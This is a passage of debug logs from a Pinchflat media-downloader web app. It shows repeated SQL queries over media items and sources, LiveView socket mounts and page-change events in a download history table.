true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:37.770 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:37.770 [debug] QUERY OK source="sources" db=0.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:37.772 [info] Sent 200 in 15ms 20:51:37.875 [info] CONNECTED TO Phoenix.LiveView.Socket in 44µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MkoKDCAtTig1R1MlNn1cEWEOb1pTJ0FUY-XoNH7DetcRn13RSMXkdp79", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:51:37.936 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 20:51:37.937 [debug] QUERY OK source="media_items" db=0.7ms idle=169.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:37.939 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=170.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:37.939 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=169.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:37.940 [debug] Replied in 3ms 20:51:37.944 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 20:51:37.945 [debug] QUERY OK source="media_items" db=0.9ms idle=174.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:37.947 [debug] QUERY OK source="media_items" db=1.1ms idle=174.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:37.948 [debug] QUERY OK source="sources" db=0.3ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:37.948 [debug] Replied in 4ms 20:51:37.951 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:51:37.952 [debug] QUERY OK source="tasks" db=0.5ms idle=12.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:51:37.953 [debug] QUERY OK source="media_items" db=0.2ms idle=12.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [4, 5] 20:51:37.953 [debug] Replied in 1ms 20:51:37.954 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:51:37.954 [debug] Replied in 104µs 20:51:44.277 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:44.278 [debug] QUERY OK source="media_items" db=0.6ms idle=1220.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:44.280 [debug] QUERY OK source="media_items" db=1.0ms idle=1221.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 20:51:44.281 [debug] QUERY OK source="sources" db=0.3ms idle=1223.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:44.281 [debug] Replied in 4ms 20:51:44.757 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:44.758 [debug] QUERY OK source="media_items" db=0.3ms idle=1315.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:44.758 [debug] QUERY OK source="media_items" db=0.4ms idle=479.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 20:51:44.759 [debug] QUERY OK source="sources" db=0.1ms idle=478.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:44.759 [debug] Replied in 1ms 20:51:45.099 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:45.100 [debug] QUERY OK source="media_items" db=0.5ms idle=818.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:45.100 [debug] QUERY OK source="media_items" db=0.5ms idle=655.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 20:51:45.101 [debug] QUERY OK source="sources" db=0.1ms idle=342.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:45.101 [debug] Replied in 2ms 20:51:45.358 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:45.359 [debug] QUERY OK source="media_items" db=0.3ms idle=599.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:45.360 [debug] QUERY OK source="media_items" db=0.6ms idle=600.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 20:51:45.360 [debug] QUERY OK source="sources" db=0.1ms idle=260.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:45.360 [debug] Replied in 2ms 20:51:45.862 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:45.863 [debug] QUERY OK source="media_items" db=0.4ms idle=761.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:45.863 [debug] QUERY OK source="media_items" db=0.5ms idle=504.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 20:51:45.864 [debug] QUERY OK source="sources" db=0.2ms idle=504.2ms SELECT s0."id", s0."enabled", 